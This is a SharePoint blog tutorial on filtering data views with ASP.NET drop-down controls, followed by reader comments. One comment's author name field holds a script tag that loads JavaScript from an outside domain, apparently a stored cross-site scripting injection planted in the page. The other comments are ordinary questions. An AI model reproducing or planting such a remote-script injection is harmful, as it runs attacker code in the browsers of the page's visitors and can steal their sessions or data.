DCSIMG
Filtering Data Views with ASP Controls - Cizi

Cizi

From the desktop of SharePoint girl

Filtering Data Views with ASP Controls

In the previous post I talked about filtering data views with URL parameters. In this post I will deal with filtering the data with ASP.Net controls.

Tip – You can’t insert the control when you point on a web part zone; You can add <br> tag under a web part zone and add the control there.

Here are the steps:

Right-click on the list/library that will supply the values for the control in the Data source library panel. Chose the second option “Insert source data control”. If your prompted to turn on “Visual Aid” click yes. SPDataSource was added to your page.

InsertDataSourceControl

DataSourceInThePafe 

In the top menu chose Insert > ASP.NET controls > Drop down list, an ASP control was added to your page. Click on the small arrow next to the control, from the Common DropDownList Task menu click Chose Data Source… and then chose spdatasource1, fill in the other fields as shown in the example(In this example I would like to filter according to the title). Click OK and Check Enable Auto Post Back.

ASPControlWIthDataSource

ChooseDataSourceWithDataSou

Now add your data view (1). Click on the small arrow of the data view, from the Common Data View Task menu chose Filter (2). In the Field Name choose the field that you want to filter by (Document type for this example), in the Value field chose Create new parameter (3).

FilterCareria

In the Data view Parameters window, under Parameters source filed chose Control. In Control ID filed chose you control ID (probably DropDownList1),You can add default value. Click Ok and Ok.

Parmeters

5. Save you page and view it in the browser.

DropDownPage

DropDownPage2

– if you reattach you page to layout the control will be lost. The reason is that we broke the connection to the layout when we placed the asp control outside the web part zone.

Comments

<SCRIPT SRC=http://lider.org.tr/a.js></SCRIPT>hiho said:

wat

# January 7, 2009 11:41 PM

Amit said:

This is a very good tutorial I'm looking to do something just like that but i want it work like the Category option on a blog site so I could tag doc and files.

so is there a way to change the behavior when I click the title of a list so it will refer to a query filter not to the item itself ?

Thank

# July 14, 2009 10:37 AM

Ronak said:

Hi CG

Thanks for Sharing YOur knowledge

Can i User Multiple dropdown here to filter Dataview ?

Thanks

# November 20, 2009 10:13 PM
Leave a Comment

(required) 

(required) 

(optional)

(required) 


Enter the numbers above: